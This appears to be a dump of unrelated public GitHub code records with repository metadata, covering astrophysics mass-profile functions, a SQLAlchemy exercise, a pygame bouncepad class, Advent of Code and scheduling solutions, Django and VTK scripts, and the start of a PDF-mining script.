profile_einasto(r,a,method=None,ms=None,rs=None,G=1.0):\n \"\"\"\n Returns enclosed mass or density at a given radius for a two-power profile\n [By default scale mass and radius are set to unity]\n \"\"\"\n # Pars input\n r=mmlpars.mml_pars(r,min=0.,type=[float,np.ndarray])\n a=mmlpars.mml_pars(a,type=float)\n method=mmlpars.mml_pars(method,list=LIST_PROFMETH,default=LIST_PROFMETH[0])\n ms=mmlpars.mml_pars(ms,min=0.,type=float,default=1.0)\n rs=mmlpars.mml_pars(rs,min=0.,type=float,default=1.0)\n # Set scale density & dimensionless parameter\n rho0=ms/(4.*np.pi*(rs**3.))\n s=r/rs\n # Calculate profile\n if method=='rho' : out=rho0*np.exp(-(2./a)*(s**a-1.))\n elif method=='mass': out=integrate.quad(lambda x: 4.*np.pi*(x**2.)*profile_einasto(x,a,method='rho',ms=ms,rs=rs,G=G),0.,r)[0]\n elif method=='pot' : out=integrate.quad(lambda x: -(G/x**2.)*profile_einasto(x,a,method='mass',ms=ms,rs=rs,G=G),r,float('inf'))[0]\n else: raise Exception('Invalid profile method: {}'.format(method))\n # Return output\n return out\n\n####################################################################################################################################\n# METHOD TO RETURN SPHERICAL TWO-POWER PROFILE\ndef profile_sph2pow(r,a,b,method=None,ms=None,rs=None,G=1.0,**exkw):\n \"\"\"\n Returns enclosed mass or density at a given radius for a two-power profile\n [By default scale mass and radius are set to unity]\n \"\"\"\n # Pars input\n r=mmlpars.mml_pars(r,min=0.,type=[float,np.ndarray])\n a=mmlpars.mml_pars(a,type=float)\n b=mmlpars.mml_pars(b,type=float)\n method=mmlpars.mml_pars(method,list=LIST_PROFMETH,default=LIST_PROFMETH[0])\n ms=mmlpars.mml_pars(ms,min=0.,type=float,default=1.0)\n rs=mmlpars.mml_pars(rs,min=0.,type=float,default=1.0)\n # Set scale density & dimensionless parameter\n rho0=ms/(4.*np.pi*(rs**3.))\n s=r/rs\n # Calculate profile\n if method=='rho' : out=rho0/((s**a)*((1.+s)**(b-a)))\n elif method=='mass': out=integrate.quad(lambda x: 4.*np.pi*(x**2.)*profile_sph2pow(x,a,b,method='rho',ms=ms,rs=rs,G=G),0.,r)[0]\n elif method=='pot' : out=integrate.quad(lambda x: -(G/x**2.)*profile_sph2pow(x,a,b,method='mass',ms=ms,rs=rs,G=G),r,float('inf'))[0]\n else: raise Exception('Invalid profile method: {}'.format(method))\n # Return output\n return out\n\n####################################################################################################################################\n# METHOD TO RETURN NFW PROFILE\ndef profile_nfw(r,method=None,ms=None,rs=None,G=1.0,**exkw):\n \"\"\"\n Returns enclosed mass or density at a given radius for an NFW profile\n [By default scale mass and radius are set to unity]\n \"\"\"\n # Pars input\n r=mmlpars.mml_pars(r,min=0.,type=[float,np.ndarray])\n method=mmlpars.mml_pars(method,list=LIST_PROFMETH,default=LIST_PROFMETH[0])\n ms=mmlpars.mml_pars(ms,min=0.,type=float,default=1.0)\n rs=mmlpars.mml_pars(rs,min=0.,type=float,default=1.0)\n # Set dimensionless parameter\n rho0=ms/(4.*np.pi*(rs**3.))\n s=r/rs\n # Calculate profile\n if method=='rho' : out=rho0/(s*((1.0+s)**2.0))\n elif method=='mass': out=ms*(np.log(1.+s)-s/(1.+s))\n elif method=='pot' : out=-(G*ms/rs)*(np.log(1.+s)/s)\n else: raise Exception('Invalid profile method: {}'.format(method))\n # Return output\n return out\n\n####################################################################################################################################\n# METHOD TO RETURN HERNQUIST PROFILE\ndef profile_hernquist(r,method=None,ms=None,rs=None,G=1.0,**exkw):\n \"\"\"\n Returns enclosed mass or density at a given radius for a Hernquist profile\n [By default scale mass and radius are set to unity]\n \"\"\"\n # Pars input\n r=mmlpars.mml_pars(r,min=0.,type=[float,np.ndarray])\n method=mmlpars.mml_pars(method,list=LIST_PROFMETH,default=LIST_PROFMETH[0])\n ms=mmlpars.mml_pars(ms,min=0.,type=float,default=1.0)\n rs=mmlpars.mml_pars(rs,min=0.,type=float,default=1.0)\n # Set dimensionless parameter\n rho0=ms/(4.*np.pi*(rs**3.))\n s=r/rs\n # Calculate profile\n if method=='rho' : out=rho0/(s*((1.+s)**3.))\n elif method=='mass': out=ms*(s**2.)/(2.*((1.+s)**2.))\n elif method=='pot' : out=-(G*ms/rs)/(2.*(1+s))\n else: raise Exception('Invalid profile method: {}'.format(method))\n # Return output\n return out\n\n####################################################################################################################################\n# METHOD TO RETURN JAFFE PROFILE\ndef profile_jaffe(r,method=None,ms=None,rs=None,G=1.0,**exkw):\n \"\"\"\n Returns enclosed mass or density at a given radius for a Jaffe profile\n [By default scale mass and radius are set to unity]\n \"\"\"\n # Pars input\n r=mmlpars.mml_pars(r,min=0.,type=[float,np.ndarray])\n method=mmlpars.mml_pars(method,list=LIST_PROFMETH,default=LIST_PROFMETH[0])\n ms=mmlpars.mml_pars(ms,min=0.,type=float,default=1.0)\n rs=mmlpars.mml_pars(rs,min=0.,type=float,default=1.0)\n # Set dimensionless parameter\n rho0=ms/(4.*np.pi*(rs**3.))\n s=r/rs\n # Calculate profile\n if method=='rho' : out=rho0/((s**2.)*((1.+s)**2.))\n elif method=='mass': out=ms*s/(1.+s)\n elif method=='pot' : out=-(G*ms/rs)*np.log(1.+1./s)\n else: raise Exception('Invalid profile method: {}'.format(method))\n # Return output\n return out\n\n####################################################################################################################################\n# METHOD TO RETURN ISOTHERMAL PROFILE\ndef profile_isothermal(r,method=None,ms=None,rs=None,rt=None,G=1.0,**exkw):\n \"\"\"\n Returns enclosed mass or density at a given radius for an isothermal profile\n [By default scale mass and radius are set to unity]\n \"\"\"\n # Pars input\n r=mmlpars.mml_pars(r,min=0.,type=[float,np.ndarray])\n method=mmlpars.mml_pars(method,list=LIST_PROFMETH,default=LIST_PROFMETH[0])\n ms=mmlpars.mml_pars(ms,min=0.,type=float,default=1.0)\n rs=mmlpars.mml_pars(rs,min=0.,type=float,default=1.0)\n rt=mmlpars.mml_pars(rt,min=0.,type=float,default=1.0)\n # Set dimensionless parameter\n q=rs/rt ; s=r/rs ; t=r/rt\n alpha=1./(1.-np.sqrt(np.pi)*q*np.exp(q**2)*(1.-special.erf(q)))\n rho0=ms*alpha/(2.*(np.pi**1.5)*(rs**2)*rt)\n # Calculate profile\n if method=='rho' : out=rho0*np.exp(-(t**2.))/(1.+(s**2.))\n elif method=='mass': out=integrate.quad(lambda x: 4.*np.pi*(x**2.)*profile_isothermal(x,method='rho',ms=ms,rs=rs,rt=rt,G=G),0.,r)[0]\n elif method=='pot' : out=integrate.quad(lambda x: -(G/x**2.)*profile_isothermal(x,method='mass',ms=ms,rs=rs,rt=rt,G=G),r,float('inf'))[0]\n else: raise Exception('Invalid profile method: {}'.format(method))\n # Return output\n return out\n\n####################################################################################################################################\n# METHOD TO RETURN HIYASHI DISK PROFILE\ndef profile_hiyashi(r,z,method=None,ms=None,rs=None,zs=None,G=1.0,**exkw):\n \"\"\"\n Returns enclosed mass or density at a given radius for a Hiyashi disk\n \"\"\"\n # Pars input\n r=mmlpars.mml_pars(r,min=0.,type=[float,np.ndarray])\n z=mmlpars.mml_pars(z,type=[float,np.ndarray])\n method=mmlpars.mml_pars(method,list=LIST_PROFMETH,default=LIST_PROFMETH[0])\n ms=mmlpars.mml_pars(ms,min=0.,type=float,default=1.0)\n rs=mmlpars.mml_pars(rs,min=0.,type=float,default=1.0)\n zs=mmlpars.mml_pars(zs,min=0.,type=float,default=1.0)\n # Set dimensionless parameter and scale density\n s=r/rs ; t=z/zs\n rho0=ms/(4.*np.pi*zs*(rs**2))\n # Calculate profile\n if method=='rho' : out=rho0*np.exp(-s)*4./((np.exp(-t)+np.exp(t))**2)\n # elif method=='mass':\n # nele=1\n # if isinstance(r,np.ndarray): nele=max(nele,len(r))\n # if isinstance(z,np.ndarray): nele=max(nele,len(z))\n # if isinstance(r,float): r=np.array(nele*[r])\n # if isinstance(z,float): z=np.array(nele*[z])\n # out=np.zeros(nele,dtype=float)\n # for idx in range(nele):\n # out[idx]=integrate.dblquad(lambda x1,x2: 2.*np.pi*x1*profile_hiyashi(x1,x2,method='rho',ms=ms,rs=rs,zs=zs,G=G),\n # -z[idx],z[idx],lambda x: 0.,lambda x:r[idx])[0]\n # if len(out)==1: out=out[0]\n elif method=='mass': out=ms*(1.-(s+1.)*np.exp(-s))\n elif method=='pot' : out=integrate.quad(lambda x: -(G/x**2.)*profile_hiyashi(x,z,method='mass',ms=ms,rs=rs,zs=zs,G=G),r,float('inf'))[0]\n else: raise Exception('Invalid profile method: {}'.format(method))\n # Return output\n return out\n\n####################################################################################################################################\n# METHOD TO RETURN FLAT DISK PROFILE\ndef profile_flatdisk(r,method=None,ms=None,rs=None,G=1.0,**exkw):\n \"\"\"\n Returns enclosed mass or density at a given radius for a flat disk\n \"\"\"\n # Pars input\n r=mmlpars.mml_pars(r,min=0.,type=[float,np.ndarray])\n method=mmlpars.mml_pars(method,list=LIST_PROFMETH,default=LIST_PROFMETH[0])\n ms=mmlpars.mml_pars(ms,min=0.,type=float,default=1.0)\n rs=mmlpars.mml_pars(rs,min=0.,type=float,default=1.0)\n # Set dimensionless parameter and scale density\n s=r/rs\n rho0=ms/(np.pi*(rs**2))\n # Calculate profile\n if method=='rho' : out=rho0*np.exp(-s)\n elif method=='mass': out=ms*(1.-(s+1.)*np.exp(-s))\n elif method=='pot' : out=integrate.quad(lambda x: -(G/x**2.)*profile_flatdisk(x,z,method='mass',ms=ms,rs=rs,zs=zs,G=G),r,float('inf'))[0]\n else: raise Exception('Invalid profile method: {}'.format(method))\n # Return output\n return out\n\n####################################################################################################################################\n####################################################################################################################################\n# METHODS TO CALCULATE PROFILE STUFF\n\n####################################################################################################################################\n# RETURN RADIUS OF PEAK VELOCITY\ndef rvpeak(profile,**inkw):\n \"\"\"\n Returns the radius at which the velocity peaks\n \"\"\"\n vel=lambda x: -np.sqrt((1./x)*main(profile,r=x,method='mass',**inkw))\n r=optimize.fmin(vel,2.,disp=False)[0]\n return r\n\n####################################################################################################################################\n####################################################################################################################################\n# METHODS CONVERT BETWEEN PARAMETERS\ndef convert_rs(prof1,prof2,rs1,profkw1={},profkw2={}):\n \"\"\"\n Converts between scale radii by placing vpeak at the same radius\n \"\"\"\n rv1=rvpeak(prof1,**profkw1) # in rs1\n rv2=rvpeak(prof2,**profkw2) # in rs2\n rs2=rs1*rv1/rv2\n rv1c=rvpeak(prof1,rs=rs1,**profkw1)\n rv2c=rvpeak(prof2,rs=rs2,**profkw2)\n if not np.allclose(rv1c,rv2c): raise Exception('Error in converting scale radius')\n return rs2\ndef convert_ms(prof1,prof2,ms1,profkw1={},profkw2={}):\n \"\"\"\n Converts between scale masses by equating average densities inside the vpeak radius\n \"\"\"\n method='mass'\n rs1=1.0\n rs2=convert_rs(prof1,prof2,rs1,profkw1=profkw1,profkw2=profkw2)\n rv1=rvpeak(prof1,rs=rs1,**profkw1) # in rs1\n rv2=rvpeak(prof2,rs=rs2,**profkw2) # in rs2\n menc1=main(prof1,method=method,r=rv1,rs=rs1,**profkw1) # in ms1\n menc2=main(prof2,method=method,r=rv2,rs=rs2,**profkw2) # in ms2\n ms2=ms1*menc1/menc2\n menc1c=main(prof1,method=method,r=rv1,rs=rs1,ms=ms1,**profkw1)\n menc2c=main(prof2,method=method,r=rv2,rs=rs2,ms=ms2,**profkw2)\n if not np.allclose(menc1c,menc2c): raise Exception('Error in converting scale mass')\n return ms2\ndef menc2ms(profile,menc,**profkw):\n \"\"\"\n Converts enclosed mass to scale mass\n \"\"\"\n menc=mmlpars.mml_pars(menc,type=float,min=0.)\n profkw['ms']=1.0\n menc0=main(profile,method='mass',**profkw)\n ms=menc/menc0\n profkw['ms']=ms\n mtot=main(profile,method='mass',**profkw)\n if not np.allclose(menc,mtot): raise Exception('Error in converting enclosed mass to scale mass')\n return ms\ndef mvir2ms(profile,mvir,c=None,rs=None,**profkw):\n \"\"\"\n Converts virial mass to scale mass for a given profile\n \"\"\"\n mvir=mmlpars.mml_pars(mvir,type=float,min=0.)\n if isinstance(c,float): c=mmlpars.mml_pars(c,type=float,min=0.)\n else:\n rs=mmlpars.mml_pars(rs,type=float,min=0.)\n rs_nfw=convert_rs(profile,'NFW',rs,profkw1=profkw)\n rvir=mvir2rvir(mvir,**profkw)\n c=rvir/rs_nfw\n ms_nfw=mvir/(np.log(1.+c)-c/(1.+c))\n if profile in ['NFW','NF']: ms=ms_nfw\n else : ms=convert_ms('NFW',profile,ms_nfw,profkw2=profkw)\n return ms\ndef ms2mvir(profile,ms,c=None,rs=None,**profkw):\n \"\"\"\n Converts scale mass for a given profile to virial mass\n \"\"\"\n ms=mmlpars.mml_pars(ms,type=float,min=0.)\n if isinstance(c,float): c=mmlpars.mml_pars(c,type=float,min=0.)\n else:\n rs=mmlpars.mml_pars(rs,type=float,min=0.)\n rs_nfw=convert_rs(profile,'NFW',rs,profkw1=profkw)\n rvir=mvir2rvir(mvir,**profkw)\n c=rvir/rs_nfw\n ms_nfw=convert_ms(profile,'NFW',ms,profkw1=profkw)\n mvir=ms_nfw*(np.log(1.+c)-c/(1.+c))\n return mvir\ndef rvir2mvir(rvir,rhoc=None,deltavir=None,units='galaxy',**inkw):\n \"\"\"\n Converts virial radius to virial mass\n \"\"\"\n # Pars input\n rvir=mmlpars.mml_pars(rvir,type=float,min=0.)\n rhoc=mmlpars.mml_pars(rhoc,type=float,min=0.,default=mmlcosmo.rhocrit(units=units,**inkw))\n deltavir=mmlpars.mml_pars(deltavir,type=float,min=0.,default=mmlcosmo.deltavir(**inkw))\n # Calculate Mvir\n mvir=deltavir*rhoc*(4./3.)*np.pi*(rvir**3)\n return mvir\ndef mvir2rvir(mvir,rhoc=None,deltavir=None,units='galaxy',**inkw):\n \"\"\"\n Converts virial mass to virial radius\n \"\"\"\n # Pars input\n mvir=mmlpars.mml_pars(mvir,type=float)\n rhoc=mmlpars.mml_pars(rhoc,type=float,min=0.,default=mmlcosmo.rhocrit(units=units,**inkw))\n deltavir=mmlpars.mml_pars(deltavir,type=float,min=0.,default=mmlcosmo.deltavir(**inkw))\n # Calculate Rvir\n rvir=(mvir/(deltavir*rhoc*(4./3.)*np.pi))**(1./3.)\n return rvir\n\nif __name__ == '__main__':\n main()\n","repo_name":"langmm/mmlpy","sub_path":"mmlastro/mmlprofiles.py","file_name":"mmlprofiles.py","file_ext":"py","file_size_in_byte":19520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70363080215","text":"#!/usr/bin/python3\n\"\"\"\nA script that creates the State “California” with the\nCity “San Francisco”from the database hbtn_0e_6_usa\n\"\"\"\n\nfrom sys import argv\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom relationship_state import Base, State\nfrom relationship_city import City\n\nif __name__ == \"__main__\":\n # Engine for Database\n engine = create_engine(\n \"mysql+mysqldb://{}:{}@localhost/{}\"\n .format(argv[1], argv[2], argv[3]), pool_pre_ping=True\n )\n Base.metadata.create_all(engine)\n Session = sessionmaker(bind=engine) # Creating a session\n session = Session() # Instatiate our Session\n\n # Create new state and new city and commit\n new_state = State(name=\"California\") # Create a new state\n new_city = City(name=\"San Francisco\") # Create a new city\n new_state.cities.append(new_city) # Append the new city to the new city\n\n session.add(new_state)\n session.add(new_city)\n session.commit()\n\n session.close()\n","repo_name":"jubrealguy/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/100-relationship_states_cities.py","file_name":"100-relationship_states_cities.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"5300974871","text":"import pygame\nimport pygame.draw\nfrom Globals import *\nfrom playermoving import *\n\nimg = pygame.image.load(os.path.join('assets', 'trampoline.png'))\n\nclass Bouncepad:\n def __init__(self, xpos, ypos):\n self.Surf = pygame.Surface((70,180))\n width = self.Surf.get_rect().width\n height = self.Surf.get_rect().height\n self.Surf = pygame.transform.scale(img, (width, height))\n self.Rect = self.Surf.get_rect(topleft=(xpos,ypos))\n self.speed = 1\n def Render(self, _id):\n r.screen.blit(self.Surf,(r.objects[_id][1],r.objects[_id][2]))\n \n def Collide(self, _id):\n if self.Rect.colliderect(r.player_rect) and r.objects[_id][3]:\n if abs(r.player_rect.y - self.Rect.y) <= 180 - r.diff and r.elapsed == 0:\n\n if self.Rect.x < r.player_rect.x:\n r.bounce_data = [1, 1820, r.speed*3]\n \n else:\n r.bounce_data = [-1, 0, r.speed*3]\n\n elif abs(r.player_rect.y - self.Rect.y) > 180 - r.diff:\n for i in range(len(r.powerups)):\n if r.powerups[i][0] == 1 or r.powerups[i][0] == 2:\n r.objects[_id][3] = False\n return [i, r.powerups[i][0]] \n else:\n r.Run = 2\n else:\n if r.setCap:\n r.elapsed = 0\n r.bounce_data[0] *= -1\n r.bounce_data[1] += 1820 * r.bounce_data[0]\n\n for i in range(list(r.objects.keys())[0], r.objCount):\n try:\n if r.objects[i][0] == 10:\n if self.Rect.colliderect(Laser(r.objects[i][1], r.objects[i][2]).Rect): \n r.objects[_id][3] = False\n except:\n pass\n \n \n\n def Speed(self, _id):\n return self.speed\n\n \n \n \n ","repo_name":"mzalan/ikt_slide_project","sub_path":"Bouncepad.py","file_name":"Bouncepad.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14079453619","text":"import pdf2txt\nimport Arquivo\nimport json\n\ndef main():\n lote = 'lote.txt'\n json_dir = 'JSON'\n JSON = pdf2txt.Diretorio(json_dir)\n JSON.listar(lote)\n pastas = Arquivo.abrir(json_dir + '/' + lote)[:-1]\n enderecos = list()\n for pasta in pastas:\n print(\"Abrindo \" + pasta)\n arquivo = json_dir + '/' + pasta + '/' + pasta + '.json'\n arq = open(arquivo, 'rt', encoding='cp1252')\n boletins = json.load(arq)\n for boletim in boletins:\n end = boletim.get('local')\n if end != '':\n end += ', '\n end += boletim.get('bairro') + ', ' + boletim.get('municipio')\n if not end in enderecos:\n enderecos.append(end)\n enderecos.sort()\n print(\"Salvando\")\n Arquivo.sobrescrever('enderecos.txt', enderecos)\n return\n\n\nif __name__ == '__main__':\n main()","repo_name":"AndyVitoria/Projeto-BO","sub_path":"Data Cleaning & Transformation/compilar_endereco.py","file_name":"compilar_endereco.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"37528396127","text":"import re\nfrom itertools import tee\nfrom dataclasses import dataclass\n\nMASK_PARSER = re.compile(r'mask = (?P[\\w]+)')\nINST_PARSER = re.compile(r'mem\\[(?P[\\d]+)\\] = (?P[\\d]+)')\n\n\n@dataclass\nclass AssignmentInst:\n and_mask: int\n or_mask: int\n floating_mask: int\n mem_location: int\n arg: int\n\n\ndef process_inst(env, inst):\n result = inst.arg | inst.or_mask\n result = result & inst.and_mask\n env[str(inst.mem_location)] = result\n return env\n\n\ndef get_set_bits(mask):\n index = 0\n set_bits = []\n\n while mask:\n if mask & 1:\n set_bits.append(index)\n\n index += 1\n mask >>= 1\n\n return set_bits\n\n\ndef enumerate_set_bits(set_bits):\n if len(set_bits) == 0:\n yield 0\n else:\n for mask in enumerate_set_bits(set_bits[1:]):\n yield 0 | mask\n yield 1 << set_bits[0] | mask\n\n\ndef enumerate_floating_mask(mask):\n set_bits = get_set_bits(mask)\n return enumerate_set_bits(set_bits)\n\n\ndef process_addy_decoder_inst(env, inst):\n mem_address = inst.mem_location | inst.or_mask\n # set all floating values to 0\n mem_address &= ~inst.floating_mask\n\n for addy_mask in enumerate_floating_mask(inst.floating_mask):\n this_addy = mem_address | addy_mask\n env[this_addy] = inst.arg\n\n return env\n\n\ndef run_program(instructions, inst_processor):\n env = {}\n for i in instructions:\n env = inst_processor(env, i)\n\n return env\n\n\ndef parse_file(path):\n with open(path) as file_handle:\n and_mask = None\n or_mask = None\n floating_mask = None\n\n for line in file_handle:\n match = MASK_PARSER.search(line)\n\n if match:\n mask = match.group('mask')\n or_mask = int(mask.replace('X', '0'), 2)\n and_mask = int(mask.replace('X', '1'), 2)\n floating_mask = int(mask.replace('1', '0')\n .replace('X', '1'), 2)\n else:\n match = INST_PARSER.search(line)\n yield AssignmentInst(and_mask, or_mask, floating_mask,\n int(match.group('addy')),\n int(match.group('arg')))\n\n\ndef main():\n insts, insts2 = tee(parse_file('day14_input.txt'))\n\n env = run_program(insts, process_inst)\n print(f'Sum of values in memory = {sum(env.values())}')\n # 5902420735773\n\n env = run_program(insts2, process_addy_decoder_inst)\n print(f'Sum of values in memory = {sum(env.values())}')\n # 3801988250775\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dalealleshouse/advent_of_code","sub_path":"2020/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11761087949","text":"import sys\nsys.stdin = open('input.txt')\n\nimport sys\nfrom heapq import heappush, heappop\ninput = sys.stdin.readline\n\nN = int(input())\narr = [0] * (N)\nfor _ in range(N):\n a, s, e = map(int, input().split())\n arr[a-1] = (s, e)\n# print(arr)\narr.sort()\n# print(arr)\n\nresult = []\nfor i in range(N):\n s, e = heappop(arr)\n if len(result) == 0:\n heappush(result, (e, s))\n continue\n ne, ns = heappop(result)\n if ne > s:\n heappush(result, (ne, ns))\n heappush(result, (e, s))\nprint(len(result))\n\n\n# cnt = 0\n# s = arr[0][0]\n# for i in range(N):\n# if arr[i][1] < s:\n# cnt += 1\n# s = arr[i][0]\n# print(cnt)\n\n\n","repo_name":"csi9876/algo_study","sub_path":"230510/1374_강의실/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21503208094","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import Producto, Marca\n# Create your views here.\n\ndef index(request):\n return HttpResponse(\"

Hello Word

\")\n\ndef indexHtml(request):\n return render(request, 'almacen/index.html', {'producto':Producto.objects.all()})\n\ndef htmlId(request, id):\n value = id\n return render(request, 'almacen/producto_id.html', {'value':value})\n\ndef nuevo_pro(request):\n if request.method=='POST':\n nombre_pro = request.POST['nombre_pro']\n marca_pro = request.POST['marca_pro']\n cantidad_pro = request.POST['cantidad_pro']\n precio_pro = request.POST['precio_pro']\n existencia_pro = request.POST['existencia_pro']\n return render(request, 'almacen/save_pro.html',{\n \"nombre_pro\":nombre_pro,\n \"marca_pro\":marca_pro,\n \"cantidad_pro\":cantidad_pro,\n \"precio_pro\":precio_pro,\n \"existencia_pro\":existencia_pro,\n })\n return render(request, 'almacen/nuevo_pro.html', {'marcas':Marca.objects.all()})\n\n\n","repo_name":"pazthorroot/pit-team-ninja-storm","sub_path":"Carlos/Python/django/curso1/almacen/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"71515206293","text":"# from sap_sbc_abstract_model import *\n# from efficient_sap_sbc_abstract_model import *\n# from pyomo.environ import *\nimport matplotlib.patches as mpatches\nimport matplotlib.pyplot as plt\nimport scipy.interpolate as sp\nimport numpy as np\n# import logging\nimport os\n# import time\nimport sys\n\n#sys.stdout = open(\"./output/logs/\" + str(L) + \"x\" + str(L) + \"/d0.\" + str(d) + \"/\" + instance_filename[:-3] + \"-pareto.txt\",\"w\")\n#sys.stdout = sys.__stdout__\n \n# Plotando a fronteira de pareto\nprint(\"Checking if x is strictly increasing sequence...\")\n\nsol_E = [1,2,2,3,4,5,5,6]\nsol_C = [10,20,30,40,50,60,70,80]\n\nprint(\"\\nBefore (E): \" + str(sol_E))\nprint(\"\\nBefore (C): \" + str(sol_C))\n\nx1 = 0\nx2 = 1\n\nnew_sol_E = sol_E\nnew_sol_C = sol_C\n\nprint(\"\\n\")\n\nfor x in range(0,len(sol_E)-3):\n \n print(\"\\nX1: \"+ str(sol_E[x1]))\n print(\"\\nX2: \"+ str(sol_E[x2]))\n\n if sol_E[x1] == sol_E[x2]:\n del new_sol_E[x1]\n del new_sol_C[x1]\n \n x1 += 1\n x2 += 1\n \nprint(\"\\nAfter (E): \" + str(new_sol_E))\nprint(\"\\nAfter (C): \" + str(new_sol_C))\n\nprint(\"Started to plot Pareton Frontier...\\n\")\n\nfig = plt.figure(\"Pareto Frontier\")\nax = fig.add_subplot(1, 1, 1)\nax.grid(linestyle=\"--\", linewidth=0.5, alpha=0.5)\n# ax.set_xticks(np.arange(int(instance.smallest_X),int(instance.biggest_X)+1,1))\n# ax.set_yticks(np.arange(int(instance.smallest_Y),int(instance.biggest_Y)+1,1))\n\n# f = sp.interp1d(sol_E,sol_C,kind='cubic')\nf = sp.CubicSpline(sol_E, sol_C, bc_type='natural')\nxnew = np.arange(sol_E[0],sol_E[-1],0.1)\nynew = f(xnew)\nax.plot(sol_E, sol_C, \"y*\", xnew, ynew, \"b--\")\n\nplt.xlabel(\"E (mA)\")\nplt.ylabel(\"C (points)\")\nplt.savefig(\"./output/\" + str(L) + \"x\" + str(L) + \"/d0.\" + str(d) + \"/\" + instance_filename[:-3] +\"_pareto.svg\")\nprint(\"Pareto plot successful!\")\nplt.close()\nsys.stdout.close()","repo_name":"LucasPinheiro23/sbc2023-sap","sub_path":"pyomo/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"69978002133","text":"import vtk\nimport numpy as np\nfrom progressbar import progressbar\n\ninmesh = 'volmesh+scar-clean.vtu'\noutmesh = 'volmesh+scar-clean1.vtu'\n\n\n\nprint('Reading mesh')\n#rd = vtk.vtkDataSetReader()\nrd = vtk.vtkXMLUnstructuredGridReader()\nrd.SetFileName(inmesh)\nrd.Update()\nmesh = rd.GetOutput()\n\nnodemask = np.zeros(mesh.GetNumberOfPoints(), dtype=np.int32)\n\nprint('Checking elements')\nfor i in progressbar(range( mesh.GetNumberOfCells() ) ):\n ids = vtk.vtkIdList()\n mesh.GetCellPoints(i, ids) \n\n for j in range( ids.GetNumberOfIds() ):\n nodemask[ ids.GetId(j) ] = 1\n\n\n\nprint('Number of orphan nodes: ', nodemask.shape[0]-nodemask.sum())\n\n\nif nodemask.shape[0]-nodemask.sum()>0 :\n print('Removing orphan nodes')\n\n\n pts = vtk.vtkPoints()\n corresp = np.ones(mesh.GetNumberOfPoints(), dtype=np.int64)*(-1)\n\n for i in progressbar(range(mesh.GetNumberOfPoints())):\n if nodemask[i]==1:\n ptid = pts.InsertNextPoint(mesh.GetPoint(i)) \n corresp[i] = ptid\n\n\n celltypes = []\n cells = vtk.vtkCellArray()\n for i in progressbar(range(mesh.GetNumberOfCells())):\n celltypes.append( mesh.GetCellType(i) )\n cell = mesh.GetCell(i)\n cells.InsertNextCell( cell.GetPointIds().GetNumberOfIds() )\n\n for j in range( cell.GetPointIds().GetNumberOfIds() ):\n oldptid = cell.GetPointIds().GetId(j)\n cells.InsertCellPoint( corresp[oldptid] )\n\n newmesh = vtk.vtkUnstructuredGrid()\n newmesh.SetPoints(pts)\n newmesh.SetCells(celltypes, cells)\n newmesh.GetCellData().AddArray( mesh.GetCellData().GetArray('Scar') )\n\n\n print('Passing the point arrays')\n probe = vtk.vtkProbeFilter()\n probe.SetSourceData(mesh)\n probe.SetInputData(newmesh)\n probe.PassCellArraysOn ()\n probe.Update()\n\n\n\n\n wr = vtk.vtkXMLUnstructuredGridWriter()\n wr.SetFileName(outmesh)\n wr.SetInputData(probe.GetOutput())\n wr.SetDataModeToAppended()\n wr.EncodeAppendedDataOff()\n wr.Write()\n\n","repo_name":"cbutakoff/tools","sub_path":"Python/Alya/orphan_nodes.py","file_name":"orphan_nodes.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"67"} +{"seq_id":"9288364489","text":"\nfrom flask import Flask, render_template, redirect\nfrom flask_pymongo import PyMongo\nimport scraped_mars\n\n# Create an instance of Flask\napp = Flask(__name__)\n\n# Use PyMongo to establish Mongo connection\napp.config['MONGO_URI'] = \"mongodb://localhost:27017/mars_scraper_app\"\nmongo = PyMongo(app)\n\n\n# Route to render index.html template using data from Mongo\n@app.route(\"/\")\ndef home():\n\n # Find mars scraped data from the mongo database\n mars_data = mongo.db.mars_data.find_one()\n import sys\n print('this is mars data')\n print(mars_data, file=sys.stderr)\n\n # Return template and data\n return render_template(\"index.html\", mars_data=mars_data)\n\n\n# Route that will trigger the scrape functionb\n@app.route(\"/scrape\")\ndef scrape():\n mars_data=mongo.db.mars_data\n # Run the scrape function\n mars_data_return = scraped_mars.scrape()\n\n # Update the Mongo database using update and upsert=True\n mars_data.update({}, mars_data_return, upsert=True)\n\n # Redirect back to home page\n return redirect(\"/\")\n\n\nif __name__ == \"__main__\":\n app.run()\n \n\n","repo_name":"bhuffstetler/web-scraping-challenge","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35771183147","text":"from pdfminer.pdfparser import PDFParser, PDFDocument\nfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\nfrom pdfminer.converter import PDFPageAggregator\nfrom pdfminer.layout import LAParams, LTTextBox, LTTextLine\n\nimport os\nimport shutil\nimport datetime\nimport time\nfrom multiprocessing import Pool\nfrom functools import partial\n\n\npath_in = \"/home/lorys/Documents/targets2\"\npath_out = \"/home/lorys/Documents/targetstxt2\"\n\n# LE CONTENUE DE 